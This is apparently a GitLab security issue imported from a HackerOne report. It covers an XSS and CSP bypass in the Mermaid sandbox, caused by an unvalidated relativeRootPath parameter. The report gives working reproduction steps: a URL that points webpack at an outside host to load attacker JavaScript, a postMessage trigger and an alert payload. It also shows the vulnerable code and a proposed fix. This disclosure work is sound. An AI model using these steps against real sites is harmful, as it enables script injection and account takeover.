:warning: **Please read [the process](https://gitlab.com/gitlab-org/release/docs/-/blob/master/general/security/engineer.md) on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.** **[HackerOne report #3473276](https://hackerone.com/reports/3473276)** by `aphantom` on 2025-12-20, imported by @gandrews7: [Report](#report) | [Attachments](#attachments) | [How To Reproduce](#how-to-reproduce) ## HackerOne Analyst Summary ## Summary The Mermaid sandbox endpoint (`/-/sandbox/mermaid`) on `gitlab.com` contains a vulnerability that allows `Cross-Site Scripting (XSS)` attacks with `Content Security Policy (CSP) bypass` capabilities. This vulnerability is classified as a variant of **CVE-2025-12029**, which was previously addressed for the Swagger sandbox but the same security controls were not applied to the Mermaid sandbox implementation. The root cause lies in the unsafe handling of the `relativeRootPath` URL parameter, which is directly assigned to webpack's public path configuration without proper validation. An attacker can supply a protocol-relative URL (such as `//attacker.com`) as the `relativeRootPath` parameter, causing webpack to dynamically load and execute JavaScript chunks from an attacker-controlled external domain within the `gitlab.com` origin context. The vulnerability becomes particularly dangerous due to GitLab's CSP implementation using `script-src 'strict-dynamic'`. Since webpack is considered a trusted script, any dynamically loaded chunks inherit this trust level, effectively bypassing CSP origin restrictions entirely. While the sandbox correctly validates `postMessage` origins, limiting standalone exploitation, this vulnerability serves as a significant force-multiplier that can amplify any existing or future XSS vulnerabilities on `gitlab.com` by providing a mechanism for full CSP bypass. The vulnerability affects the GitLab.com SaaS platform and represents an incomplete application of a known security fix, where the validation logic implemented for the Swagger sandbox in commit `990558a0b288a24446becf198db4c48027b4bbfe` was not consistently applied across all similar attack vectors. ## Steps to Reproduce 1. **Set up attacker-controlled JavaScript files**: Host malicious JavaScript files under the `/assets/webpack` path on a server under attacker control. The required files include: - `runtime.bundle.js` - `main.bundle.js` - `884b0ba2.969c03a3.chunk.js` - `2a9eb9ad.2228a3c7.chunk.js` - `2ef913fd.1b26f23c.chunk.js` - `36df1bb1.ce610158.chunk.js` - `c539f40b.d2f6c494.chunk.js` 2. **Configure browser for monitoring**: Open Developer Tools → Network tab → enable **Preserve log** option to monitor network requests. 3. **Navigate to vulnerable endpoint**: Visit the following URL with the malicious `relativeRootPath` parameter: ``` https://gitlab.com/-/sandbox/mermaid?relativeRootPath=//aphantom.blob.core.windows.net ``` 4. **Trigger diagram rendering**: Execute the following JavaScript to initiate the vulnerability: ```javascript window.postMessage('graph TD;A-->B;', window.location.origin); ``` 5. **Observe malicious script loading**: Monitor the `Network` tab to confirm webpack loads chunks from the attacker domain: ``` https://aphantom.blob.core.windows.net/assets/webpack/runtime.bundle.js https://aphantom.blob.core.windows.net/assets/webpack/*.chunk.js ``` 6. **Verify execution**: Confirm that the attacker-controlled JavaScript executes within the `gitlab.com` origin context. **Evidence of vulnerable code location** (`app/assets/javascripts/lib/mermaid.js`): ```javascript const resetWebpackPublicPath = () => { window.gon = { relative_url_root: getParameterByName('relativeRootPath') }; resetServiceWorkersPublicPath(); }; resetWebpackPublicPath(); ```  ## Impact The vulnerability enables an unauthenticated attacker to perform unauthorized actions on behalf of authenticated users by injecting malicious external scripts into the Mermaid Sandbox. ## Original Report ##### Summary The Mermaid sandbox endpoint (`/-/sandbox/mermaid`) accepts an unvalidated `relativeRootPath` URL parameter which directly controls webpack’s public path. This allows an attacker to load arbitrary JavaScript chunks from an external domain and execute them in the `gitlab.com` origin. This is a variant of **CVE-2025-12029**, which was fixed for the Swagger sandbox in commit `990558a0b288a24446becf198db4c48027b4bbfe`. The same validation logic was not applied to the Mermaid sandbox, leaving it vulnerable to the identical attack pattern. By supplying a protocol-relative URL (e.g. `//attacker.com`) as `relativeRootPath`, under certain circumstances, webpack dynamically loads and executes attacker-controlled scripts, resulting in XSS with a full CSP bypass due to `strict-dynamic`. **Note**: Given that CVE-2025-12029 established both the vulnerability pattern and severity precedent, I am submitting this variant for immediate remediation rather than investing additional time in chaining—the fix is a straightforward port of existing validation logic.  ##### Root Cause The Mermaid sandbox reads `relativeRootPath` directly from the URL and assigns it to webpack’s public path without validation. **Vulnerable code (`app/assets/javascripts/lib/mermaid.js`):** ```javascript const resetWebpackPublicPath = () => { window.gon = { relative_url_root: getParameterByName('relativeRootPath') }; resetServiceWorkersPublicPath(); }; resetWebpackPublicPath(); ``` There is **no validation** to ensure the value is a safe, same-origin relative path. ##### Comparison to Fixed Swagger Sandbox After CVE-2025-12029, GitLab added validation to the Swagger sandbox: ```javascript if (!relativeRootPath || !relativeRootPath.startsWith('/') || relativeRootPath.startsWith('//')) { return; } ``` This validation blocks protocol-relative URLs (`//attacker.com`). The same fix was not applied to the Mermaid sandbox. ##### Steps to Reproduce 1. Host attacker-controlled JavaScript files under `/assets/webpack` in a server you control (or use my blob storage): - `runtime.bundle.js` - `main.bundle.js` - `884b0ba2.969c03a3.chunk.js` - `2a9eb9ad.2228a3c7.chunk.js` - `2ef913fd.1b26f23c.chunk.js` - `36df1bb1.ce610158.chunk.js` - `c539f40b.d2f6c494.chunk.js`  Example payload across all files: ```javascript alert('XSS in ' + document.domain); ``` 2. Open DevTools → Network → enable **Preserve log**. 3. Visit: ``` https://gitlab.com/-/sandbox/mermaid?relativeRootPath=//aphantom.blob.core.windows.net ``` 4. Trigger diagram rendering (for sake of quick poc): ```javascript window.postMessage('graph TD;A-->B;', window.location.origin); ``` 5. Observe webpack loading chunks from the attacker domain: ``` https://aphantom.blob.core.windows.net/assets/webpack/runtime.bundle.js https://aphantom.blob.core.windows.net/assets/webpack/*.chunk.js ``` 6. Attacker JavaScript executes in the `gitlab.com` origin. ##### CSP Bypass GitLab’s CSP uses `script-src 'strict-dynamic'`. Webpack is a trusted script, so any dynamically loaded chunks inherit trust. When webpack loads scripts from `//attacker.com`, CSP origin restrictions are bypassed entirely. ##### Exploitation Context & Constraints The sandbox correctly validates `postMessage` origin (`event.origin === window.location.origin`), which limits standalone exploitation. However: * This vulnerability **amplifies any existing or future XSS** on `gitlab.com` * Any XSS capable of opening the Mermaid sandbox and calling `postMessage` escalates to full CSP bypass * The trigger mechanism mirrors legitimate application behavior (`render_sandboxed_mermaid.js`) This is therefore a **force-multiplier vulnerability**, not a self-XSS. ##### Why This Is Not Self-XSS * The vulnerability is **GitLab-controlled code**, not user behavior * Identical exploitation mechanics were accepted as **High severity** in CVE-2025-12029 * The console trigger only demonstrates exploitability; the flaw is **untrusted control over script origins** * Any same-origin execution path can trigger the issue ##### What is the current *bug* behavior? The Mermaid sandbox accepts any `relativeRootPath`, including protocol-relative URLs. Webpack loads and executes attacker-controlled scripts. ##### What is the expected *correct* behavior? The Mermaid sandbox should apply the same validation introduced for Swagger: * Reject empty values * Require paths to start with `/` * Reject paths starting with `//` ##### Relevant logs and/or screenshots Below is a video POC showcasing the steps defined above:  ##### Output of checks * **Affected:** GitLab.com (SaaS) * **Related CVE:** CVE-2025-12029 * **Relevant Fix Commit:** `990558a0b288a24446becf198db4c48027b4bbfe` #### Impact Under certain circumstances, allows an unauthenticated user to perform unauthorized actions on behalf of another user by injecting malicious external scripts into the Mermaid Sandbox. ##### Recommended Fix Port the Swagger validation logic directly to `mermaid.js`: ```diff const resetWebpackPublicPath = () => { + const relativeRootPath = getParameterByName('relativeRootPath'); + + if (!relativeRootPath || + !relativeRootPath.startsWith('/') || + relativeRootPath.startsWith('//')) { + return; + } + - window.gon = { relative_url_root: getParameterByName('relativeRootPath') }; + window.gon = { relative_url_root: relativeRootPath }; resetServiceWorkersPublicPath(); }; ``` ##### Severity Justification **High — CVSS 8.0 (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N)** This is the same CVSS score assigned to CVE-2025-12029, which is appropriate since: * Identical vulnerability pattern and attack vector * Same impact: arbitrary JS execution with CSP bypass * Incomplete application of a known security fix * Escalates minor XSS into full account compromise ## Attachments **Warning:** Attachments received through HackerOne, please exercise caution! * [image.png](https://h1.sec.gitlab.net/a/329ba5f1-88b3-4461-b70d-4d69e92a6687/image.png) * [image.png](https://h1.sec.gitlab.net/a/ab531d82-1fd3-4302-976b-a461740dc624/image.png) * [mermaid-xss-poc.mov](https://h1.sec.gitlab.net/a/8c040b9e-64d6-428b-b130-6629b4a35fe9/mermaid-xss-poc.mov) ## How To Reproduce Please add [reproducibility information] to this section: 1. 1. 1. [reproducibility information]: https://about.gitlab.com/handbook/engineering/security/#reproducibility-on-security-issues